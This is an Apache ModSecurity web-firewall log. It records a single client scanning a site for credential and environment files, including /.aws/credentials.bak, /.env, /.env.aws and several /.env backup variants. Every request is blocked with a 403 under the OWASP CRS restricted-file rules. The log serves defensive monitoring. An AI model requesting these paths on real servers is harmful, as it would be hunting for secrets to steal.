[Tue Oct 27 07:42:01.835554 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCOCY0JjhEi1NzVi4XrvAAAAAc"]
[Tue Oct 27 07:42:01.835774 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCOCY0JjhEi1NzVi4XrvAAAAAc"]
[Tue Oct 27 07:42:01.876742 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auCOCQHzNpgY2H50otlpQQAAAAg"]
[Tue Oct 27 07:42:01.876944 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auCOCQHzNpgY2H50otlpQQAAAAg"]
[Tue Oct 27 07:42:01.877187 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auCOCQHzNpgY2H50otlpQQAAAAg"]
[Tue Oct 27 07:42:01.899745 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auCOCZekxYBRCO5jo1OILgAAABA"]
[Tue Oct 27 07:42:01.899930 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auCOCZekxYBRCO5jo1OILgAAABA"]
[Tue Oct 27 07:42:01.900322 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auCOCZekxYBRCO5jo1OILgAAABA"]
[Tue Oct 27 07:42:01.907396 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCOCRpfUBgvi1kircRU_QAAABg"]
[Tue Oct 27 07:42:01.907594 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCOCRpfUBgvi1kircRU_QAAABg"]
[Tue Oct 27 07:42:01.907864 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCOCRpfUBgvi1kircRU_QAAABg"]
[Tue Oct 27 07:42:01.911778 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auCOCY0JjhEi1NzVi4XrvQAAAAc"]
[Tue Oct 27 07:42:01.911934 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auCOCY0JjhEi1NzVi4XrvQAAAAc"]
[Tue Oct 27 07:42:01.912204 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auCOCY0JjhEi1NzVi4XrvQAAAAc"]
[Tue Oct 27 07:42:01.926010 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCOCQJ0bI7Z9n11TMAC5wAAAAA"]
[Tue Oct 27 07:42:01.926198 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCOCQJ0bI7Z9n11TMAC5wAAAAA"]
[Tue Oct 27 07:42:01.926449 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCOCQJ0bI7Z9n11TMAC5wAAAAA"]
[Tue Oct 27 07:42:01.937013 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auCOCT4THoroSjopRdUAMQAAAAE"]
[Tue Oct 27 07:42:01.937207 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auCOCT4THoroSjopRdUAMQAAAAE"]
[Tue Oct 27 07:42:01.937391 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auCOCSV3rvdaeXJTlLHANwAAAAM"]
[Tue Oct 27 07:42:01.937475 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auCOCT4THoroSjopRdUAMQAAAAE"]
[Tue Oct 27 07:42:01.937535 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auCOCSV3rvdaeXJTlLHANwAAAAM"]
[Tue Oct 27 07:42:01.937779 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auCOCSV3rvdaeXJTlLHANwAAAAM"]
[Tue Oct 27 07:42:01.954079 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCOCQHzNpgY2H50otlpQgAAAAg"]
[Tue Oct 27 07:42:01.954295 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCOCQHzNpgY2H50otlpQgAAAAg"]
[Tue Oct 27 07:42:01.954608 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auCOCQHzNpgY2H50otlpQgAAAAg"]
[Tue Oct 27 07:42:01.963783 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCOCW_oZ855J3-bmxEp_QAAAAY"]
[Tue Oct 27 07:42:01.963988 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCOCW_oZ855J3-bmxEp_QAAAAY"]
[Tue Oct 27 07:42:01.964337 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auCOCW_oZ855J3-bmxEp_QAAAAY"]
[Tue Oct 27 07:42:01.975357 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCOCZekxYBRCO5jo1OILwAAABA"]
[Tue Oct 27 07:42:01.975551 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCOCZekxYBRCO5jo1OILwAAABA"]
[Tue Oct 27 07:42:01.975876 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auCOCZekxYBRCO5jo1OILwAAABA"]
[Tue Oct 27 07:42:01.984435 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCOCRpfUBgvi1kircRU_gAAABg"]
[Tue Oct 27 07:42:01.984705 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCOCRpfUBgvi1kircRU_gAAABg"]
[Tue Oct 27 07:42:01.985075 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCOCRpfUBgvi1kircRU_gAAABg"]
[Tue Oct 27 07:42:01.988393 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auCOCY0JjhEi1NzVi4XrvgAAAAc"]
[Tue Oct 27 07:42:01.988545 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auCOCY0JjhEi1NzVi4XrvgAAAAc"]
[Tue Oct 27 07:42:01.988776 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auCOCY0JjhEi1NzVi4XrvgAAAAc"]
[Tue Oct 27 07:42:02.002224 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auCOCgJ0bI7Z9n11TMAC6AAAAAA"]
